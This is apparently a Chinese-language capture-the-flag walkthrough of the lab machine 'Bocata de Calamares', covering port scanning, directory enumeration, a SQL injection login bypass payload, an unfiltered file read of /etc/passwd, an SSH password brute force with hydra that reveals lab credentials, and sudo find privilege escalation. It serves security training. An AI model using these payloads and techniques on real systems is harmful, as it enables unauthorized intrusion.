Bocata de Calamares

信息搜集

192.168.100.57

端口扫描

┌──(root㉿kali)-[~]
└─# rustscan -a 192.168.100.57
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.100.57:22
Open 192.168.100.57:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-10 03:53 EDT
Initiating ARP Ping Scan at 03:53
Scanning 192.168.100.57 [1 port]
Completed ARP Ping Scan at 03:53, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 03:53
Completed Parallel DNS resolution of 1 host. at 03:53, 0.22s elapsed
DNS resolution of 1 IPs took 0.22s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 03:53
Scanning 192.168.100.57 [2 ports]
Discovered open port 22/tcp on 192.168.100.57
Discovered open port 80/tcp on 192.168.100.57
Completed SYN Stealth Scan at 03:53, 0.02s elapsed (2 total ports)
Nmap scan report for 192.168.100.57
Host is up, received arp-response (0.00081s latency).
Scanned at 2026-04-10 03:53:05 EDT for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:95:BA:EB (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds
           Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

‍

枚举

目录扫描

┌──(root㉿kali)-[~]
└─# gobuster dir -u http://192.168.100.57/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,wsp,py,js,phps --exclude-length 278
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.100.57/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length:          278
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,wsp,py,js,phps,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 178] [--> http://192.168.100.57/images/]
/index.php            (Status: 200) [Size: 4145]
/login.php            (Status: 200) [Size: 2543]
/admin.php            (Status: 200) [Size: 359]
Progress: 1764480 / 1764488 (100.00%)
===============================================================
Finished
===============================================================

admin.php什么也没有

爆破用户名密码没出来，经过尝试后发现是sql注入

admin

‘

使用万能密码成功登录进去

admin:’ OR ‘1’=’1

里面有一个代办事项，可以看到给了提示，创建了一个新页面且用base64编码了名称

1
2
3

┌──(root㉿kali)-[~]
└─# echo 'lee_archivos' | base64
bGVlX2FyY2hpdm9zCg==

是一个文件读取的且没有过滤，这里我读取了/etc/passwd

superadministrator

tyuiop

有两个用户

尝试使用hydra爆破

┌──(root㉿kali)-[~]
└─# hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.100.57 ssh -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-10 04:30:56
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 28688798 login tries (l:2/p:14344399), ~448263 tries per task
[DATA] attacking ssh://192.168.100.57:22/
[22][ssh] host: 192.168.100.57   login: superadministrator   password: princesa

superadministrator:princesa

提权

superadministrator@thehackerslabs-bocatacalamares:~$ sudo -l
Matching Defaults entries for superadministrator on thehackerslabs-bocatacalamares:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User superadministrator may run the following commands on thehackerslabs-bocatacalamares:
    (ALL) NOPASSWD: /usr/bin/find

可以使用find提权，方案在gtfobins中有

https://gtfobins.org/gtfobins/find/